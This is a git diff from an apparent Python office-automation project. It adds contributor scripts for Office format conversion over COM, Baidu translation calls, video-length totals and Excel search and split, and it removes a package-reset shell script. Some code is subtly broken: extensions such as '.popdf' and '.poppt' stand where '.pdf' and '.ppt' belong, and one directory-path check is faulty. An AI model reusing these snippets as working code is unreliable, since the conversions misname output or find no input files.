+PyPDF2==3.0.1 +pypinyin==0.49.0 +pypng==0.20220715.0 +PySide6==6.5.2 +PySide6-Addons==6.5.2 +PySide6-Essentials==6.5.2 python-dateutil==2.8.2 python-docx==0.8.11 -python-office @ file:///D:/workplace/code/BaiduNetdiskWorkspace/personal/linux/workplace/pro/git/gitee/python-office +python-office==0.3.20 python-pptx==0.6.21 -pytz==2022.1 -PyWavelets==1.3.0 -pywin32==303 -pywin32-ctypes==0.2.0 -PyYAML==6.0 -queuelib==1.6.2 -readme-renderer==35.0 -reportlab==3.6.9 -requests==2.27.1 -requests-file==1.5.1 -requests-toolbelt==0.9.1 -rfc3986==2.0.0 -rich==12.2.0 -scikit-image==0.19.2 -scipy==1.7.3 -Scrapy==2.6.1 -service-identity==21.1.0 +pytz==2023.3 +pywifi==1.1.12 +pywin32==306 +pywinauto==0.6.8 +qrcode==7.4.2 +reportlab==4.0.4 +requests==2.31.0 +rich==13.5.2 +schedule==1.2.0 +search4file==0.1.15 +shiboken6==6.5.2 six==1.16.0 -sqlparse==0.4.2 -tifffile==2021.11.2 -tldextract==3.2.1 -torch==1.11.0 -torchvision==0.12.0 -twine==4.0.0 -Twisted==22.4.0 -twisted-iocpsupport==1.0.2 -typing_extensions==4.2.0 -urllib3==1.26.9 -w3lib==1.22.0 +soupsieve==2.4.1 +speedtest-cli==2.1.3 +tabulate==0.9.0 +tencentcloud-sdk-python==3.0.954 +termcolor==2.3.0 +tqdm==4.66.0 +translate==3.6.1 +typing_extensions==4.7.1 +tzdata==2023.3 +uiautomation==2.0.18 +urllib3==2.0.4 webencodings==0.5.1 -Werkzeug==2.1.1 -wordcloud==1.8.1 -xlrd==2.0.1 -XlsxWriter==3.0.3 -xlutils==2.0.0 -xlwings==0.27.6 +Werkzeug==2.3.6 +wftools==0.0.6 +wordcloud==1.9.2 +xlrd==1.2.0 +XlsxWriter==3.1.2 +xlwings==0.30.10 xlwt==1.3.0 -zipp==3.8.0 -zope.interface==5.4.0 +yarl==1.9.2 +you-get==0.4.1650 diff --git a/clean.sh b/clean.sh deleted file mode 100644 index 4c385cb..0000000 --- a/clean.sh +++ /dev/null @@ -1,4 +0,0 @@ -pip freeze > allpackages.txt -pip uninstall -r allpackages.txt -y -pip install --upgrade python-office -,python-office \ No newline at end of file diff --git a/contributors/CatchDr/Baidu_Text_transAPI.py b/contributors/CatchDr/Baidu_Text_transAPI.py new file mode 100644 index 0000000..b6aa0c8 --- /dev/null +++ b/contributors/CatchDr/Baidu_Text_transAPI.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python +#-*- coding:utf-8 -*- + +############################################# +# File Name: Baidu_Text_transApi.py +# Author: 刘运超 +# Mail: chaodreaming@gmail.com +# Created Time: 2022-5-23 14:45 +# Description: 调用百度翻译接口进行翻译 +############################################# +import requests +import random +from hashlib import md5 +def make_md5(s, encoding='utf-8'): + return md5(s.encode(encoding)).hexdigest() +def baidu_trans(query,from_lang,to_lang,appid,appkey): + # Set your own appid/appkey. + + + # For list of language codes, please refer to `https://api.fanyi.baidu.com/doc/21` + # from_lang = 'en' + # to_lang = 'zh' + + endpoint = 'http://api.fanyi.baidu.com' + path = '/api/trans/vip/translate' + url = endpoint + path + + # query = 'Hello World! This is 1st paragraph.\nThis is 2nd paragraph.' + + # Generate salt and sign + + salt = random.randint(32768, 65536) + sign = make_md5(appid + query + str(salt) + appkey) + + # Build request + headers = {'Content-Type': 'application/x-www-form-urlencoded'} + payload = {'appid': appid, 'q': query, 'from': from_lang, 'to': to_lang, 'salt': salt, 'sign': sign} + + # Send request + r = requests.post(url, params=payload, headers=headers) + result = r.json() + if len(result)==3: + return result['trans_result'][0]['dst'] + else: + return result + +# if __name__ == '__main__': +# # 百度官方通用翻译api +# # 可参考这些链接申请 https://superdoctranslator.com/appidkey +# # https://jingyan.baidu.com/article/3f16e00305bb552591c10304.html +# appid = 'xxxxxxxxxxxxx' +# appkey = 'xxxxxxxxxxxx' +# res=baidu_trans("good","en","zh",appid,appkey) +# print(res) \ No newline at end of file diff --git a/contributors/CatchDr/doc2docx.py b/contributors/CatchDr/doc2docx.py new file mode 100644 index 0000000..586518b --- /dev/null +++ b/contributors/CatchDr/doc2docx.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python +#-*- coding:utf-8 -*- + +############################################# +# File Name: doc2docx.py +# Author: 刘运超 +# Mail: chaodreaming@gmail.com +# Created Time: 2022-5-23 13:41:34 +# Description: doc转docx +############################################# + +from win32com.client import constants, gencache +import win32com +import os # 目录的操作 + + +def createdocx(wordPath, docxPath): + # word = gencache.EnsureDispatch('Word.Application') + # doc = word.Documents.Open(wordPath, ReadOnly=1) + # # 转换方法 + # doc.ExportAsFixedFormat(docxPath, constants.wdExportFormatPDF) + # word.Quit() + + word = win32com.client.DispatchEx('Word.Application') + doc = word.Documents.Open(wordPath) + doc.SaveAs(docxPath, FileFormat=12) + doc.Close() + word.Quit() + + +# 1、文件的批量转换 +# 自己指定路径, +# 转换doc到docx +def doc2docx(path, docSuffix=".doc"): + wordFiles = [] + # 如果不存在,则不做处理 + if not os.path.exists(path): + print("path does not exist path = " + path) + return + # 判断是否是文件 + elif os.path.isfile(path): + print("path file type is file " + path) + wordFiles.append(path) + # 如果是目录,则遍历目录下面的文件 + elif os.path.isdir(path): + print(os.listdir(path)) + # 填充路径,补充完整路径 + if not path.endswith("/") or not path.endswith("\\"): + path = path + "/" + for file in os.listdir(path): + if file.endswith(docSuffix): + wordFiles.append(path + file) + print(wordFiles) + for file in wordFiles: + filepath = os.path.abspath(file) + index = filepath.rindex('.') + docxPath = filepath[:index] + '.docx' + print(docxPath) + createdocx(filepath, docxPath) + diff --git a/contributors/CatchDr/docx2doc.py b/contributors/CatchDr/docx2doc.py new file mode 100644 index 0000000..b31d3bd --- /dev/null +++ b/contributors/CatchDr/docx2doc.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python +#-*- coding:utf-8 -*- + +############################################# +# File Name: docx2doc.py +# Author: 刘运超 +# Mail: chaodreaming@gmail.com +# Created Time: 2022-5-23 13:41:34 +# Description: docx转doc +############################################# + +from win32com.client import constants, gencache +import win32com +import os # 目录的操作 + + + +def createdoc(wordPath, docxPath): + # word = gencache.EnsureDispatch('Word.Application') + # doc = word.Documents.Open(wordPath, ReadOnly=1) + # # 转换方法 + # doc.ExportAsFixedFormat(docxPath, constants.wdExportFormatPDF) + # word.Quit() + + word = win32com.client.DispatchEx('Word.Application') + doc = word.Documents.Open(wordPath) + doc.SaveAs(docxPath, FileFormat=11) + doc.Close() + word.Quit() + + +# 1、文件的批量转换 +# 自己指定路径, +# 转换docx到doc +def docx2doc(path, docxSuffix=".docx"): + wordFiles = [] + # 如果不存在,则不做处理 + if not os.path.exists(path): + print("path does not exist path = " + path) + return + # 判断是否是文件 + elif os.path.isfile(path): + print("path file type is file " + path) + wordFiles.append(path) + # 如果是目录,则遍历目录下面的文件 + elif os.path.isdir(path): + print(os.listdir(path)) + # 填充路径,补充完整路径 + if not path.endswith("/") or not path.endswith("\\"): + path = path + "/" + for file in os.listdir(path): + if file.endswith(docxSuffix): + wordFiles.append(path + file) + print(wordFiles) + for file in wordFiles: + filepath = os.path.abspath(file) + index = filepath.rindex('.') + docPath = filepath[:index] + '.doc' + print(docPath) + createdoc(filepath, docPath) \ No newline at end of file diff --git a/contributors/CatchDr/ppt2pptx.py b/contributors/CatchDr/ppt2pptx.py new file mode 100644 index 0000000..93b26ce --- /dev/null +++ b/contributors/CatchDr/ppt2pptx.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python +#-*- coding:utf-8 -*- + +############################################# +# File Name: ppt2pptx.py +# Author: 刘运超 +# Mail: chaodreaming@gmail.com +# Created Time: 2022-5-23 14:11 +# Description: ppt转pptx +############################################# + +from win32com.client import constants +import win32com +import os # 目录的操作 + +def createpptx(pptPath, pptxPath): + powerpoint = win32com.client.Dispatch('PowerPoint.Application') + win32com.client.gencache.EnsureDispatch('PowerPoint.Application') + # powerpoint.Visible = 1 + ppt = powerpoint.Presentations.Open(pptPath) + ppt.SaveAs(pptxPath) + ppt.Close() + powerpoint.Quit() + + +# 1、文件的批量转换 +# 自己指定路径, +# 转换ppt到pptx +def ppt2pptx(path, docxSuffix=".poppt"): + pptFiles = [] + # 如果不存在,则不做处理 + if not os.path.exists(path): + print("path does not exist path = " + path) + return + # 判断是否是文件 + elif os.path.isfile(path): + print("path file type is file " + path) + pptFiles.append(path) + # 如果是目录,则遍历目录下面的文件 + elif os.path.isdir(path): + print(os.listdir(path)) + # 填充路径,补充完整路径 + if not path.endswith("/") or not path.endswith("\\"): + path = path + "/" + for file in os.listdir(path): + if file.endswith(docxSuffix): + pptFiles.append(path + file) + print(pptFiles) + for file in pptFiles: + filepath = os.path.abspath(file) + index = filepath.rindex('.') + pptxPath = filepath[:index] + '.pptx' + print(pptxPath) + createpptx(filepath, pptxPath) \ No newline at end of file diff --git a/contributors/CatchDr/pptx2ppt.py b/contributors/CatchDr/pptx2ppt.py new file mode 100644 index 0000000..c0cd8da --- /dev/null +++ b/contributors/CatchDr/pptx2ppt.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python +#-*- coding:utf-8 -*- + +############################################# +# File Name: pptx2ppt.py +# Author: 刘运超 +# Mail: chaodreaming@gmail.com +# Created Time: 2022-5-23 14:15 +# Description: pptx转ppt +############################################# + +from win32com.client import constants +import win32com +import os # 目录的操作 + +def createppt(pptxPath, pptPath): + powerpoint = win32com.client.Dispatch('PowerPoint.Application') + win32com.client.gencache.EnsureDispatch('PowerPoint.Application') + # powerpoint.Visible = 1 + ppt = powerpoint.Presentations.Open(pptxPath) + ppt.SaveAs(pptPath) + ppt.Close() + powerpoint.Quit() + + +# 1、文件的批量转换 +# 自己指定路径, +# 转换pptx到ppt +def pptx2ppt(path, docxSuffix=".pptx"): + pptxFiles = [] + # 如果不存在,则不做处理 + if not os.path.exists(path): + print("path does not exist path = " + path) + return + # 判断是否是文件 + elif os.path.isfile(path): + print("path file type is file " + path) + pptxFiles.append(path) + # 如果是目录,则遍历目录下面的文件 + elif os.path.isdir(path): + print(os.listdir(path)) + # 填充路径,补充完整路径 + if not path.endswith("/") or not path.endswith("\\"): + path = path + "/" + for file in os.listdir(path): + if file.endswith(docxSuffix): + pptxFiles.append(path + file) + print(pptxFiles) + for file in pptxFiles: + filepath = os.path.abspath(file) + index = filepath.rindex('.') + pptPath = filepath[:index] + '.poppt' + print(pptPath) + createppt(filepath, pptPath) \ No newline at end of file diff --git a/contributors/CatchDr/video_time_statistics.py b/contributors/CatchDr/video_time_statistics.py new file mode 100644 index 0000000..10327b0 --- /dev/null +++ b/contributors/CatchDr/video_time_statistics.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python +#-*- coding:utf-8 -*- + +############################################# +# File Name: video_time_statistics.py +# Author: 刘运超 +# Mail: chaodreaming@gmail.com +# Created Time: 2022-5-23 14:58 +# Description: 统计视频时长 +############################################# +import os +import datetime +from moviepy.editor import VideoFileClip +from tqdm import tqdm +def video_time_statistics(path): + filelist = [] + for a, b, c in os.walk(path): + for name in c: + fname = os.path.join(a, name) + if fname.endswith(".mp4"): + filelist.append(fname) + ftime = 0.0 + for item in tqdm(filelist): + clip = VideoFileClip(item) + ftime += clip.duration + print("%d seconds: " % ftime, str(datetime.timedelta(seconds=ftime))) + + +# if __name__ == "__main__": +# +# path=r"D:\BaiduNetdiskDownload\07-阶段七 \第三章" +# video_time_statistics(path) \ No newline at end of file diff --git a/contributors/CatchDr/xls2xlsx.py b/contributors/CatchDr/xls2xlsx.py new file mode 100644 index 0000000..a487637 --- /dev/null +++ b/contributors/CatchDr/xls2xlsx.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python +#-*- coding:utf-8 -*- + +############################################# +# File Name: xls2xlsx.py +# Author: 刘运超 +# Mail: chaodreaming@gmail.com +# Created Time: 2022-5-23 14:24 +# Description: xls转xlsx +############################################# + +from win32com.client import constants, gencache +import win32com +import os # 目录的操作 + + + +def createxlsx(xlsPath, xlsxPath): + + excel = win32com.client.DispatchEx('Excel.Application') + wb = excel.Workbooks.Open(xlsPath) + + wb.SaveAs(xlsxPath, FileFormat=51) # FileFormat = 51 is for .xlsx extension + wb.Close() # FileFormat = 56 is for .xls extension + excel.Application.Quit() + + + +# 1、文件的批量转换 +# 自己指定路径, +# 转换xls到xlsx +def xls2xlsx(path, docxSuffix=".xls"): + excelFiles = [] + # 如果不存在,则不做处理 + if not os.path.exists(path): + print("path does not exist path = " + path) + return + # 判断是否是文件 + elif os.path.isfile(path): + print("path file type is file " + path) + excelFiles.append(path) + # 如果是目录,则遍历目录下面的文件 + elif os.path.isdir(path): + print(os.listdir(path)) + # 填充路径,补充完整路径 + if not path.endswith("/") or not path.endswith("\\"): + path = path + "/" + for file in os.listdir(path): + if file.endswith(docxSuffix): + excelFiles.append(path + file) + print(excelFiles) + for file in excelFiles: + filepath = os.path.abspath(file) + index = filepath.rindex('.') + xlsPath = filepath[:index] + '.xlsx' + print(xlsPath) + createxlsx(filepath, xlsPath) \ No newline at end of file diff --git a/contributors/CatchDr/xlsx2xls.py b/contributors/CatchDr/xlsx2xls.py new file mode 100644 index 0000000..0632141 --- /dev/null +++ b/contributors/CatchDr/xlsx2xls.py @@ -0,0 +1,54 @@ +#!/usr/bin/env python +#-*- coding:utf-8 -*- + +############################################# +# File Name: xlsx2xls.py +# Author: 刘运超 +# Mail: chaodreaming@gmail.com +# Created Time: 2022-5-23 14:30 +# Description: xlsx转xls +############################################# + +from win32com.client import constants, gencache +import win32com +import os # 目录的操作 + +def createxls(xlsxPath, xlsPath): + + excel = win32com.client.DispatchEx('Excel.Application') + wb = excel.Workbooks.Open(xlsxPath) + + wb.SaveAs(xlsPath, FileFormat=56) # FileFormat = 51 is for .xlsx extension + wb.Close() # FileFormat = 56 is for .xls extension + excel.Application.Quit() + + +# 1、文件的批量转换 +# 自己指定路径, +# 转换xlsx到xls +def xlsx2xls(path, docxSuffix=".xlsx"): + excelFiles = [] + # 如果不存在,则不做处理 + if not os.path.exists(path): + print("path does not exist path = " + path) + return + # 判断是否是文件 + elif os.path.isfile(path): + print("path file type is file " + path) + excelFiles.append(path) + # 如果是目录,则遍历目录下面的文件 + elif os.path.isdir(path): + print(os.listdir(path)) + # 填充路径,补充完整路径 + if not path.endswith("/") or not path.endswith("\\"): + path = path + "/" + for file in os.listdir(path): + if file.endswith(docxSuffix): + excelFiles.append(path + file) + print(excelFiles) + for file in excelFiles: + filepath = os.path.abspath(file) + index = filepath.rindex('.') + xlsxPath = filepath[:index] + '.xls' + print(xlsxPath) + createxls(filepath, xlsxPath) \ No newline at end of file diff --git a/contributors/bulabean/SEdemo.xlsx b/contributors/bulabean/SEdemo.xlsx new file mode 100644 index 0000000..7e6d6e3 Binary files /dev/null and b/contributors/bulabean/SEdemo.xlsx differ diff --git a/contributors/bulabean/SEdemo_Split_2022-09-08_162027.xlsx b/contributors/bulabean/SEdemo_Split_2022-09-08_162027.xlsx new file mode 100644 index 0000000..72a6744 Binary files /dev/null and b/contributors/bulabean/SEdemo_Split_2022-09-08_162027.xlsx differ diff --git a/contributors/bulabean/SEdemo_Split_2022-09-08_162113.xlsx b/contributors/bulabean/SEdemo_Split_2022-09-08_162113.xlsx new file mode 100644 index 0000000..7a6a049 Binary files /dev/null and b/contributors/bulabean/SEdemo_Split_2022-09-08_162113.xlsx differ diff --git a/contributors/bulabean/SEdemo_Split_2022-09-09_215031.xlsx b/contributors/bulabean/SEdemo_Split_2022-09-09_215031.xlsx new file mode 100644 index 0000000..4311251 Binary files /dev/null and b/contributors/bulabean/SEdemo_Split_2022-09-09_215031.xlsx differ diff --git a/contributors/bulabean/SEdemo_Split_2022-09-09_215121.xlsx b/contributors/bulabean/SEdemo_Split_2022-09-09_215121.xlsx new file mode 100644 index 0000000..e5717e8 Binary files /dev/null and b/contributors/bulabean/SEdemo_Split_2022-09-09_215121.xlsx differ diff --git a/contributors/bulabean/SearchExcel.py b/contributors/bulabean/SearchExcel.py new file mode 100644 index 0000000..998b756 --- /dev/null +++ b/contributors/bulabean/SearchExcel.py @@ -0,0 +1,138 @@ +import os +import openpyxl +import xlrd +import datetime +import time + + +def change_datatype(row_data: list): + """ + excel单元格的内容类型检测和转换 + 参数: + row_data:行数据,列表格式 + """ + result_data = [] + for rd in row_data: + if type(rd) == datetime.datetime: + t = rd.strftime("%Y-%m-%d %H:%M:%S") + elif type(rd) == str: + t = rd + elif type(rd) == int: + t = str(rd) + elif type(rd) == float: + t = str(rd) + elif type(rd) is None: + t = '' + else: + t = str(rd) + result_data.append(t) + return result_data + + +def find_key(search_key: str, row_content: str): + """ + 检测关键词和内容 + 参数: + search_key:关键词 + row_content:行内容 + """ + if search_key in row_content: + return True + else: + return False + + +def process_xls(path, file): + """ + 读取xls后缀的excel文件 + 参数: + path:文件所在路径 + file:文件名 + """ + filepath = os.path.join(path, file) + try: + rb = xlrd.open_workbook(filepath, formatting_info=True) + except: + return False + sheet_names = rb.sheet_names() + space_line = 0 + for ws_name in sheet_names: + ws = rb.sheet_by_name(ws_name) + rows = ws.nrows + cols = ws.ncols + for r in range(rows): + values = [ws.cell(r, c).value for c in range(cols)] + values = change_datatype(values) + values = " ".join(values) + if values: + yield filepath, ws_name, r, values # 文件路径,工作表名,行数,行内容 + else: + if space_line < 10: + space_line += 1 + else: + break + + +def process_xlsx(path, file): + """ + 读取xlsx后缀的excel文件 + 参数: + path:文件所在路径 + file:文件名 + """ + filepath = os.path.join(path, file) + try: + wb = openpyxl.load_workbook(filepath, read_only=True, data_only=True) + except: + return False + worksheets_name = wb.sheetnames + space_line = 0 + for ws_name in worksheets_name: + ws = wb[ws_name] + for index, row in enumerate(ws.rows): + values = [r.value for r in row if r.value != None] + values = change_datatype(values) + values = " ".join(values) + if values: + yield filepath, ws_name, index, values # 文件路径,工作表名,行数,行内容 + else: + if space_line < 10: + space_line += 1 + else: + break + + +def find_excel_data(search_key: str, target_dir: str): + """ + 检索指定目录下的excel文件和过滤 + 参数: + search_key:检索的关键词 + target_dir:目标文件夹 + """ + for path, dirs, files in os.walk(target_dir): + files = [file for file in files if not file.startswith('~$')] # 过滤掉正打开的excel文件 + xls_files = [file for file in files if file.endswith('.xls')] # 取出所有的xls后缀文件 + xlsx_files = [file for file in files if file.endswith('.xlsx')] # 取出所有的xlsx后缀文件 + for xls in xls_files: + for data in process_xls(path, xls): + filepath, ws_name, index, values = data + status = find_key(search_key, values) + if status: + yield filepath, ws_name, index, values + for xlsx in xlsx_files: + for data in process_xlsx(path, xlsx): + filepath, ws_name, index, values = data + status = find_key(search_key, values) + if status: + yield filepath, ws_name, index, values # 输出内容:路径/文件名、工作表名、行数、行内容 + + +if __name__ == '__main__': + + time1 = time.time() + search_key = '刘家站垦殖场' + target_dir = './' + for data in find_excel_data(search_key, target_dir): + print(list(data)) + time2 = time.time() + print("\n程序运行结束,停止运行。耗时:{}秒".format(round(time2 - time1, 2))) diff --git a/contributors/bulabean/SplitExcel.py b/contributors/bulabean/SplitExcel.py new file mode 100644 index 0000000..717dfc4 --- /dev/null +++ b/contributors/bulabean/SplitExcel.py @@ -0,0 +1,93 @@ +import os +import xlrd, xlwt +import openpyxl +import datetime + + +# + +def generate_xls(filepath: str, worksheet_data: dict): + datetime_str = datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S') + new_filepath = filepath.replace('.xls', '_Split_{}.xls'.format(datetime_str)) + new_workbook = xlwt.Workbook(encoding='utf-8') + for worksheet_name, row_data_list in worksheet_data.items(): + new_worksheet = new_workbook.add_sheet(worksheet_name) + for row_index, row_data in enumerate(row_data_list): + for column_index, data in enumerate(row_data): + new_worksheet.write(row_index, column_index, data) + new_workbook.save(new_filepath) + return new_filepath + + +def process_xls(filepath, column: int, worksheet_name: str = None): + try: + workbook = xlrd.open_workbook(filepath, formatting_info=True) + except: + return "文件读取异常:{}".format(filepath) + if worksheet_name: + worksheet = workbook.sheet_by_name(worksheet_name) + else: + worksheet = workbook.sheet_by_index(0) + rows = worksheet.nrows + cols = worksheet.ncols + split_data_dict = {} + for r in range(rows): + row_data = [worksheet.cell(r, c).value if worksheet.cell(r, c).value else ' ' for c in range(cols)] + temp_data = row_data[column - 1] + temp_data_list = split_data_dict.get(temp_data, []) + temp_data_list.append(row_data) + split_data_dict[temp_data] = temp_data_list + new_filepath = generate_xls(filepath, split_data_dict) + return "数据保存在新文件中,文件名:{}".format(new_filepath) + + +def generate_xlsx(filepath: str, worksheet_data: dict): + datetime_str = datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S') + new_filepath = filepath.replace('.xlsx', '_Split_{}.xlsx'.format(datetime_str)) + new_workbook = openpyxl.Workbook() + for worksheet_name, row_data_list in worksheet_data.items(): + new_worksheet = new_workbook.create_sheet(worksheet_name) + for row_data in row_data_list: + new_worksheet.append(row_data) + new_workbook.save(new_filepath) + return new_filepath + + +def process_xlsx(filepath: str, column: int, worksheet_name: str = None): + try: + workbook = openpyxl.load_workbook(filepath, read_only=True, data_only=True) + except: + return "文件读取异常:{}".format(filepath) + if worksheet_name: + worksheet = workbook.get_sheet_by_name(worksheet_name) + else: + worksheet = workbook.active + if worksheet.max_column < column: + return "最大列数是{},取不到第{}列".format(worksheet.max_column, column) + + split_data_dict = {} + for row in worksheet.rows: + row_data = [cell.value if cell.value else ' ' for cell in row] + temp_data = row_data[column - 1] + temp_data_list = split_data_dict.get(temp_data, []) + temp_data_list.append(row_data) + split_data_dict[temp_data] = temp_data_list + new_filepath = generate_xlsx(filepath, split_data_dict) + return "数据保存在新文件中,文件名:{}".format(new_filepath) + + +def split_excel(filepath: str, column: int, worksheet_name: str = None): + if filepath.endswith('.xlsx'): + result = process_xlsx(filepath, column, worksheet_name) + elif filepath.endswith('.xls'): + result = process_xls(filepath, column, worksheet_name) + else: + return "文件格式不对,不进行处理" + return result + + +if __name__ == "__main__": + filename = 'sedemo.xls' + # filename = 'SEdemo.xlsx' + result = split_excel(filename, 6) # 处理文件,表格的第六列,worksheet_name指定工作表,不指定则读取文件默认工作表 + print(result) diff --git a/contributors/bulabean/sedemo.xls b/contributors/bulabean/sedemo.xls new file mode 100644 index 0000000..9b0349e Binary files /dev/null and b/contributors/bulabean/sedemo.xls differ diff --git a/contributors/bulabean/sedemo_Split_2022-08-23_203011.xls b/contributors/bulabean/sedemo_Split_2022-08-23_203011.xls new file mode 100644 index 0000000..7234001 Binary files /dev/null and b/contributors/bulabean/sedemo_Split_2022-08-23_203011.xls differ diff --git a/contributors/bulabean/sedemo_Split_2022-08-23_203413.xls b/contributors/bulabean/sedemo_Split_2022-08-23_203413.xls new file mode 100644 index 0000000..cabc6f0 Binary files /dev/null and b/contributors/bulabean/sedemo_Split_2022-08-23_203413.xls differ diff --git a/contributors/bulabean/sedemo_Split_2022-09-17_154536.xls b/contributors/bulabean/sedemo_Split_2022-09-17_154536.xls new file mode 100644 index 0000000..407d984 Binary files /dev/null and b/contributors/bulabean/sedemo_Split_2022-09-17_154536.xls differ diff --git a/contributors/bulabean/sedemo_Split_2025-02-23_183018.xls b/contributors/bulabean/sedemo_Split_2025-02-23_183018.xls new file mode 100644 index 0000000..bb62069 Binary files /dev/null and b/contributors/bulabean/sedemo_Split_2025-02-23_183018.xls differ diff --git a/contributors/demo/WordType.py b/contributors/demo/WordType.py new file mode 100644 index 0000000..2feaa2c --- /dev/null +++ b/contributors/demo/WordType.py @@ -0,0 +1,71 @@ +import os +from win32com import client +from win32com.client import constants + + +# requirements +# pip install -i https://mirrors.aliyun.com/pypi/simple/ pypiwin32 + +class MainWord(): + def __init__(self): + self.doc = ".doc" + self.docx = ".docx" + self.pdf = ".popdf" + # 打开word应用程序 + self.word = client.Dispatch("Word.Application") + + + def file2pdf(self, path): + # 保存待转换的word文件 + word_files = [] + + # 遍历path下所有的docx, doc文件,加入到word_files中 + for dir_path, _, files in os.walk(path): + for f in files: + if f.endswith(self.doc) or f.endswith(self.docx): + word_files.append(os.path.join(dir_path, f)) + + # 不存在有效的文件 + if len(word_files) == 0: + print("不存在有效的word文件") + return + + # 保存待删除的中间文件 + remove_files = [] + + for file in word_files: + # 源文件 + file_path = os.path.abspath(file) + # 目标文件 + pdf_path = os.path.abspath(file_path.split(".")[0] + self.pdf) + + # 如果是doc文件,转换为docx文件 + if file_path.endswith(self.doc): + doc = self.word.Documents.Open(file_path) # 打开word文件 + doc.SaveAs("{}x".format(file_path), 12) # 另存为后缀为".docx"的文件,其中参数12或16指docx文件 + doc.Close() # 关闭原来word文件 + file_path = file_path.split(".")[0] + self.docx + remove_files.append(file_path) + self.createpdf(file_path, pdf_path) + continue + self.createpdf(file_path, pdf_path) + self.word.Quit() + for f in remove_files: + os.remove(f) + + def createpdf(self, word_path, pdf_path): + print(word_path) + try: + doc = self.word.Documents.Open(word_path, ReadOnly=1) + doc.ExportAsFixedFormat(pdf_path, constants.wdExportFormatPDF, + Item=constants.wdExportDocumentWithMarkup, + CreateBookmarks=constants.wdExportCreateHeadingBookmarks) + doc.Close() + except: + print(f"文档{word_path}转换失败") + finally: + pass + + +m = MainWord() +m.file2pdf(r"C:\Users\PHL\Desktop\测试文档") diff --git a/contributors/lzl/WordType.py b/contributors/lzl/WordType.py new file mode 100644 index 0000000..cc6481c --- /dev/null +++ b/contributors/lzl/WordType.py @@ -0,0 +1,71 @@ +import os +from win32com import client +from win32com.client import constants + + +# requirements +# pip install -i https://mirrors.aliyun.com/pypi/simple/ pypiwin32 + +class MainWord(): + def __init__(self): + self.doc = ".doc" + self.docx = ".docx" + self.pdf = ".pdf" + # Open Word application + self.word = client.Dispatch("Word.Application") + + + def file2pdf(self, path): + # Save Word files to be converted + word_files = [] + + # Traverse all docx, doc files under the path and add them to word_files + for dir_path, _, files in os.walk(path): + for f in files: + if f.endswith(self.doc) or f.endswith(self.docx): + word_files.append(os.path.join(dir_path, f)) + + # No valid files exist + if len(word_files) == 0: + print("No valid Word files found") + return + + # Save intermediate files to be deleted + remove_files = [] + + for file in word_files: + # Source file + file_path = os.path.abspath(file) + # Target file + pdf_path = os.path.abspath(file_path.split(".")[0] + self.pdf) + + # If it is a doc file, convert it to a docx file + if file_path.endswith(self.doc): + doc = self.word.Documents.Open(file_path) # Open Word file + doc.SaveAs("{}x".format(file_path), 12) # Save as a file with the suffix ".docx", where parameter 12 or 16 refers to a docx file + doc.Close() # Close the original Word file + file_path = file_path.split(".")[0] + self.docx + remove_files.append(file_path) + self.createpdf(file_path, pdf_path) + continue + self.createpdf(file_path, pdf_path) + self.word.Quit() + for f in remove_files: + os.remove(f) + + def createpdf(self, word_path, pdf_path): + print(word_path) + try: + doc = self.word.Documents.Open(word_path, ReadOnly=1) + doc.ExportAsFixedFormat(pdf_path, constants.wdExportFormatPDF, + Item=constants.wdExportDocumentWithMarkup, + CreateBookmarks=constants.wdExportCreateHeadingBookmarks) + doc.Close() + except: + print(f"Failed to convert document {word_path}") + finally: + pass + + +m = MainWord() +m.file2pdf(r"C:\Users\lzl\Desktop\test") diff --git a/contributors/marvel2120/WordType.py b/contributors/marvel2120/WordType.py new file mode 100644 index 0000000..2feaa2c --- /dev/null +++ b/contributors/marvel2120/WordType.py @@ -0,0 +1,71 @@ +import os +from win32com import client +from win32com.client import constants + + +# requirements +# pip install -i https://mirrors.aliyun.com/pypi/simple/ pypiwin32 + +class MainWord(): + def __init__(self): + self.doc = ".doc" + self.docx = ".docx" + self.pdf = ".popdf" + # 打开word应用程序 + self.word = client.Dispatch("Word.Application") + + + def file2pdf(self, path): + # 保存待转换的word文件 + word_files = [] + + # 遍历path下所有的docx, doc文件,加入到word_files中 + for dir_path, _, files in os.walk(path): + for f in files: + if f.endswith(self.doc) or f.endswith(self.docx): + word_files.append(os.path.join(dir_path, f)) + + # 不存在有效的文件 + if len(word_files) == 0: + print("不存在有效的word文件") + return + + # 保存待删除的中间文件 + remove_files = [] + + for file in word_files: + # 源文件 + file_path = os.path.abspath(file) + # 目标文件 + pdf_path = os.path.abspath(file_path.split(".")[0] + self.pdf) + + # 如果是doc文件,转换为docx文件 + if file_path.endswith(self.doc): + doc = self.word.Documents.Open(file_path) # 打开word文件 + doc.SaveAs("{}x".format(file_path), 12) # 另存为后缀为".docx"的文件,其中参数12或16指docx文件 + doc.Close() # 关闭原来word文件 + file_path = file_path.split(".")[0] + self.docx + remove_files.append(file_path) + self.createpdf(file_path, pdf_path) + continue + self.createpdf(file_path, pdf_path) + self.word.Quit() + for f in remove_files: + os.remove(f) + + def createpdf(self, word_path, pdf_path): + print(word_path) + try: + doc = self.word.Documents.Open(word_path, ReadOnly=1) + doc.ExportAsFixedFormat(pdf_path, constants.wdExportFormatPDF, + Item=constants.wdExportDocumentWithMarkup, + CreateBookmarks=constants.wdExportCreateHeadingBookmarks) + doc.Close() + except: + print(f"文档{word_path}转换失败") + finally: + pass + + +m = MainWord() +m.file2pdf(r"C:\Users\PHL\Desktop\测试文档") diff --git a/contributors/old_from_gitee/ CNSeniorious000/pdf.py b/contributors/old_from_gitee/ CNSeniorious000/pdf.py new file mode 100644 index 0000000..74e3a32 --- /dev/null +++ b/contributors/old_from_gitee/ CNSeniorious000/pdf.py @@ -0,0 +1,111 @@ +# from functools import cache, cached_property +# +# +# # PDF与栅格化 +# # noinspection PyPackageRequirements +# class PDF: +# """ +# a popdf document with optimized lazy processing +# @Author & Date: CNSeniorious000 2022/5/17 +# """ +# +# @cache +# def __new__(cls, *args, **kwargs): +# """a path refers to only one document""" +# return object.__new__(cls) +# +# def __init__(self, path: str): +# """load from disk or internet""" +# if path.startswith("http"): +# import requests +# self.raw = requests.get(path).content +# else: +# self.raw = open(path, "rb").read() +# +# @cached_property +# def doc(self): +# import fitz +# 